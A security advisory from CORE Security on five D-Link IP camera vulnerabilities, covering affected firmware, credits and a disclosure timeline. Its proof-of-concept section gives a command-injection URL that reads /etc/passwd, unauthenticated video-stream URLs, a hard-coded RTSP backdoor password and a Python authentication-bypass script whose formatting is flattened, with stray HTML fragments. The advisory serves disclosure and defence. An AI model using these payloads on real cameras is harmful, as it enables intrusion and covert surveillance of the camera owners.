D-Link IP Cameras Multiple Vulnerabilities

1. Advisory Information

Title: D-Link IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0303
Advisory URL: http://www.coresecurity.com/core-labs/advisories/d-link-ip-cameras-multiple-vulnerabilities
Date published: 2013-04-29
Date of last update: 2013-03-29
Vendors contacted: D-Link Corporation
Release mode: Coordinated release

2. Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

 

3. Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

1. [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
2. [CVE-2013-1600] to access the video stream via HTTP,
3. [CVE-2013-1601] to access the ASCII video stream via image luminance,
4. [CVE-2013-1602] to access the video stream via RTSP,
5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.

4. Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1599]

• DCS-3411/3430 - firmware v1.02
• DCS-5605/5635 - v1.01
• DCS-1100L/1130L - v1.04
• DCS-1100/1130 - v1.03
• DCS-1100/1130 - v1.04_US
• DCS-2102/2121 - v1.05_RU
• DCS-3410 - v1.02
• DCS-5230 - v1.02
• DCS-5230L - v1.02
• DCS-6410 - v1.00
• DCS-7410 - v1.00
• DCS-7510 - v1.00
• WCS-1100 - v1.02

[CVE-2013-1600]

• DCS-2102/2121 - v1.05_RU
• DCS-2102/2121 - v1.06
• DCS-2102/2121 - v1.06_FR
• TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603]

• DCS-3411/3430 - v1.02
• DCS-5605/5635 - v1.01
• DCS-1100L/1130L - v1.04
• DCS-1100/1130 - v1.03
• DCS-1100/1130 - v1.04_US
• DCS-2102/2121 - v1.05_RU
• DCS-2102/2121 - v1.06
• DCS-2102/2121 - v1.06_FR
• TESCO DCS-2102/2121 - v1.05_TESCO
• DCS-3410 - v1.02
• DCS-5230 - v1.02
• DCS-5230L - v1.02
• DCS-6410 - v1.00
• DCS-7410 - v1.00
• DCS-7510 - v1.00
• WCS-1100 - v1.02

[CVE-2013-1602]

• ALL mentioned devices and firmware.

5. Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

6. Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

 

7. Technical Description / Proof of Concept Code

7.1. OS Command Injection

[CVE-2013-1599] A security issue located in /var/www/cgi-bin/rtpd.cgi allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in rtpd.cgi:

echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . 
$conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')" 

 

The first line of this snippet basically ensures that there are no spaces in $QUERY_STRING. The last line uses sed to replace ampersands & with spaces, and then call to the function eval(), resulting in a typical command injection. For example, in order to execute:

uname -a;cat /etc/passwd,

 

the following request can be sent to the camera web interface:

http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd

7.2. Authentication Bypass

[CVE-2013-1600] The live video stream can be accessed without authentication by a remote attacker via the following request:

http://192.168.1.100/upnp/asf-mp4.asf

7.3. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

http://192.168.1.100/md/lums.cgi

The following example is the output of a coffee pot video stream:

 

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

1. 1. Authentication is only present in DESCRIBE requests but not in every subsequent request.
   2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).

alt;p>As a result, the video stream can be accessed by an unauthenticated remote attacker. 
</p><textarea rows="28" cols="60" wrap="off" style="overflow:auto" id="code7">import sys from socket import * 
from threading import Thread import time, re LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % 
(time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): 
Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr 
def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.
sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) 
sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any
([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.
__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for 
port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) 
def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener
.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break 
UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() 
UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, 
process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_
data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.
source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except 
Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, 
dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' 
% (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback 
# Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 
1) self.sock.bind(('', src_port)) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises 
newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt
(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback)
.start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): 
self.address = address def get_describe_data(self): return '' class DLink(Camera): # D-Link DCS-2102/1.06-5731 def 
__init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f
\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\
x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x
0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x6
8\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d
\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\
x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x
0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x5
3\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a
\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\
x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x
30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x3
3\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65
\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\
x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x
6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a' class 
RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' 
SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, 
local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): 
log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof
_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.
UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') 
spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.*CSeq:\\s*(\\d+?)\
r\n.*', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response 
data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 
'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_
describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search
('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.
DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.
split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], 
udp_port)).start() except: pass return data if __name__ == '__main__': if len( sys.argv ) > 1: listener_port = camera
_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser
(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' 

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

username: (any) password: ?* 

 

As we can see in the following dump, the submitted password is compared with the string :?* (the character : is used for concatenation of username:password). This code belongs to the binary rtspd:

text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, 
[R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 
LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C 
SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 
LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, 
#3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 
CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch 

 

8. Report Timeline

1. 1. • 2013-03-19: CORE Security notifies the D-Link team of the vulnerability.
      • 2013-03-20: D-Link team asks for a technical description of the vulnerability.
      • 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013.
      • 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU).
      • 2013-03-25: CORE notifies that receiving money from vendors may bias the view of the report and rejects the bounty program.
      • 2013-03-29: Vendor notifies that they hope to close the fix ASAP.
      • 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release).
      • 2013-04-24: CORE asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable.
      • 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days.
      • 2013-04-26: CORE notifies that the advisory is re-scheduled for Monday 29th.
      • 2013-04-29: Advisory CORE-2013-0303 published.

9. References

[1] https://us.dlink.com/en/consumer/cameras-and-smart-home
 

10. About CoreLabs

CoreLabs, the research center of CORE Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.

11. About CORE Security

At CORE Security we help more than 1,400 customers worldwide preempt critical security threats throughout their IT environments, and communicate the risk the threats pose to the business. Our patented, proven, award-winning enterprise solutions are backed by more than 15 years of applied expertise from CoreLabs, the company's innovative security research center.

CORE Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. CORE Security can be reached at: https://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2013 CORE Security (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of CORE Security advisories team.

 

Authors:

Martin Rocha

Nahuel Riva

Francisco Falcon

Pablo Santamaria